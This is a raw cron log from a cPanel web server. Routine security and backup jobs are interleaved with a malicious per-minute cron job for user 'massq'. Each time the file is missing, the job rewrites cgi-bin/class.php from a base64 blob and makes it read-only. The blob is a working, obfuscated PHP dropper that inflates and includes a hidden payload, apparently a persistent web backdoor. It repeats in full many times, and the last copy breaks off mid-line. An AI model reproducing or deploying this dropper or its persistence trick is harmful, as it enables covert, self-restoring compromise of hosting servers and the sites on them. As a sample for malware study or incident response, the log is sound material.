Sep  7 23:54:01 server CROND[20497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:55:01 server CROND[20873]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:55:01 server CROND[20877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:55:01 server CROND[20876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:55:01 server CROND[20879]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:55:01 server CROND[20881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:55:01 server CROND[20875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:55:01 server CROND[20878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:56:01 server CROND[21855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:56:01 server CROND[21856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:56:01 server CROND[21857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:57:01 server CROND[22333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:57:01 server CROND[22335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:57:01 server CROND[22334]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:57:01 server CROND[22336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:58:01 server CROND[22714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:58:01 server CROND[22715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:58:01 server CROND[22716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:59:01 server CROND[23267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:59:01 server CROND[23268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:59:01 server CROND[23266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:00:01 server CROND[23772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 00:00:01 server CROND[23773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:00:01 server CROND[23781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:00:01 server CROND[23788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:00:01 server CROND[23789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:00:01 server CROND[23796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:00:01 server CROND[23797]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:00:01 server CROND[23795]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 00:00:01 server CROND[23790]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  8 00:00:01 server CROND[23798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:00:01 server CROND[23791]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 00:01:01 server CROND[24678]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 00:01:01 server CROND[24679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:01:01 server CROND[24680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:01:01 server CROND[24681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:01:01 server run-parts(/etc/cron.hourly)[24678]: starting 0anacron
Sep  8 00:01:01 server anacron[24701]: Anacron started on 2026-09-08
Sep  8 00:01:01 server anacron[24701]: Normal exit (0 jobs run)
Sep  8 00:01:01 server run-parts(/etc/cron.hourly)[24703]: finished 0anacron
Sep  8 00:02:01 server CROND[25064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:02:01 server CROND[25065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:02:01 server CROND[25066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:03:01 server CROND[25606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:03:01 server CROND[25608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:03:01 server CROND[25607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:04:01 server CROND[25980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:04:01 server CROND[25981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:04:01 server CROND[25982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:05:01 server CROND[26365]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 00:05:01 server CROND[26366]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 00:05:01 server CROND[26369]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 00:05:01 server CROND[26373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 00:05:01 server CROND[26374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 00:05:01 server CROND[26370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 00:05:01 server CROND[26372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 00:05:01 server CROND[26371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg